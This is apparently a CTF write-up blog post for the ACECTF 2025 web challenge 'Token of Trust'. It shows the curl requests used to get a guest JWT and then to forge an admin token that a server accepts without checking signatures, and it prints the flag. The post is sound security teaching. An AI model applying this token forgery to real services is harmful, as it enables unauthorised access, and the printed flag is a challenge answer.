Post

ACECTF 2025 - web - Token of Trust

JWT authentication bypass challenge

ACECTF 2025 - web - Token of Trust

Initial Analysis

Challenge Description

1
2
3
4
5
At first, this web app seems straightforward, but there’s something hidden beneath the surface. It uses a token for authentication, but the way it verifies trust can be manipulated.

The secret lies in how the token is used. Can you find the key to unlock it?

Submit your answer in the following format: ACECTF{3x4mpl3_fl4g}

When visiting the URL, the response says:

1
2
3
4
Welcome to the main page!
To log in, visit /login. But remember, POST requests are my love language. 🧑

PS: Don't forget to set your headers for JSON, or I'll just ignore you. πŸ™ƒ

Authentication Process

Visiting /login returns:

1
2
3
4
5
6
Oops! Wrong approach.
You can't just waltz in here without a proper POST request.

Try sending a JSON payload like this: {"user":"ace","pass":"ctf"}.

Hint: I only care about your request format, not your credentials. πŸ˜‰

The server expects a POST request with JSON data for authentication. Using curl, I sent the required payload:

1
2
3
➜  ~ curl -X POST http://webchall.com/login \
-H "Content-Type: application/json" \
-d '{"user": "ace", "pass": "ctf"}'

Response:

1
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.JT3l4_NkVbkQuZpl62b9h8NCZ3cTcypEGZ1lULWR47M"}

The response contains a JWT (JSON Web Token). Decoding it on jwt.io reveals:

1
2
3
{
  "user": "guest"
}

Exploring Restricted Areas

Checking /robots.txt reveals:

1
Disallow: /flag (But hey, who listens to robots anyway?)

Attempting to access /flag results in:

1
2
➜  ~ curl -X POST http://webchall.com/flag
No token? No flag! Bring me a token, and we'll talk. πŸ‘€

It requires a token. Sending the obtained JWT:

1
2
3
➜  ~ curl -X POST http://webchall.com/flag \
-H "Content-Type: application/json" \
-d '{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.JT3l4_NkVbkQuZpl62b9h8NCZ3cTcypEGZ1lULWR47M"}'

Response:

1
Sorry, you're not the admin. No flag for you! 😝

The token identifies me as guest, so I need admin access.

Exploiting the JWT

Since the token is a JWT, modifying the payload might grant admin access. The JWT uses HMAC SHA256, but it might not verify the signature properly.

By changing the "user": "guest" value to "user": "admin" and signing with a random secret, I created a modified token:

1
2
3
➜  ~ curl -X POST http://webchall.com/flag \
-H "Content-Type: application/json" \
-d '{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.FX63b1vgKrqIM-7xsuWOuEZmN0_jWJeFK-7qJqB6BDI"}'

Response:

1
ACECTF{jwt_cr4ck3d_4dm1n_4cce55_0bt41n3d!}

Flag obtained! πŸŽ‰

Conclusion

This challenge demonstrates a JWT authentication bypass due to improper signature verification. The server only checks the token’s structure but does not validate the signature, allowing attackers to forge an admin token easily.

Hope this write-up helps in future CTF challenges! πŸš€

This post is licensed under CC BY 4.0 by the author.